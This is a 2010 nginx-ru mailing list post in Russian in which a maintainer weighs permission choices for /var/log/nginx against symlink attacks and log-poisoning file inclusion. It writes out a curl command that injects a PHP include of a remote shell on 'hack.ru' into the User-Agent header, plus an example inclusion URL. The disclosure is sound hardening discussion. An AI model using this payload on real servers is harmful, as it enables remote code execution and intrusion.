Nginx-ru mailing list archive (nginx-ru@sysoev.ru)
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
/var/log/nginx
- To: nginx-ru@xxxxxxxxx
- Subject: /var/log/nginx
- From: Gena Makhomed <gmm@xxxxxxxxx>
- Date: Tue, 14 Dec 2010 20:05:34 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=csdoc.com; s=dkim; t=1292349935; bh=0PIF9ResmWnKbgqDV4/1zqQK8RDzFutwd8hLFLtUEqA=; h=Message-ID:Date:From:MIME-Version:To:Subject:Content-Type: Content-Transfer-Encoding; b=EqBiZ/89d8Y+KAvebBkSeNYMe4qy8OEkzXrxEmRTOKtqNbU1ZQ6bFSg2PpJHCOecD xhEfAmIJC1sBMCf+Ke7+g8QEOzQiFhZPLTMO2XjZwK3HAihMZjUOZRqg9uaDcjk8Xp oodFeUH7OplRyJ95Ck73huIO4D5PcEAel7A7vHJE=
Здравствуйте!
есть небольшие проблемы с /var/log/nginx
1. если владелец этого каталога nginx:nginx,
и права доступа 0700 - такая установка будет уязвима
к symlink attack, потому что лог-файлы в этом каталоге
master-процесс открывает на запись при запуске nginx
и он не делает никаких проверок symlink это или нет.
2. если владелец этого каталога root:root,
и права доступа 0755 - такая установка будет уязвима
к атаке "php local file inclusion vulnerability
elevation to remote code execution":
# curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/
# tail -n 1 /var/log/nginx/access.log
10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200 15777
"-" "<? include 'http://hack.ru/shell.php' ?>"
и если запущенный на хосте PHP можно каким-то путем заставить сделать
include этого локального файла - выполнится код с удаленного сайта.
например, http://site.ru/index.php?file=/var/log/nginx/access.log
код "<? include 'http://hack.ru/shell.php' ?>" приведен только
для примера, на самом деле, там может быть любой php-код, который
будет работать даже в случае если параметр allow_url_fopen = Off
3. если владелец этого каталога root:nginx,
и права доступа 0750 - на первый взгляд всё нормально,
однако если php-fastcgi входит в группу nginx,
или пользователь httpd входит в группу nginx,
то будет тот же результат, что и в п.2 - так что
это решение можно назвать ненадежным и частичным.
=========================================================================
хотелось бы услышать советы / рекомендации автора и разработчиков nginx
как именно лучше всего будет поступить maintainer`ам в этой ситуации:
- выставить на каталог владелец / права root:nginx 0750
и смириться с тем, что это решение не является 100%-ым,
потому что одновременно надо чтобы слишком много условий
совпало для того чтобы получить vulnerability elevation.
- пропатчить nginx чтобы master-процесс не открывал на запись файлы,
если это на самом деле symlink`и, чтобы устранить его восприимчивость
к symlink attack в этом случае и во всех остальных подобных случаях.
(если это symlink и файл надо открыть на запись - тогда unlink symlink)
- или какой-то другой вариант решения, чтобы получить 100% надежность.
--
Best regards,
Gena
_______________________________________________
nginx-ru mailing list
nginx-ru@xxxxxxxxx
http://nginx.org/mailman/listinfo/nginx-ru
|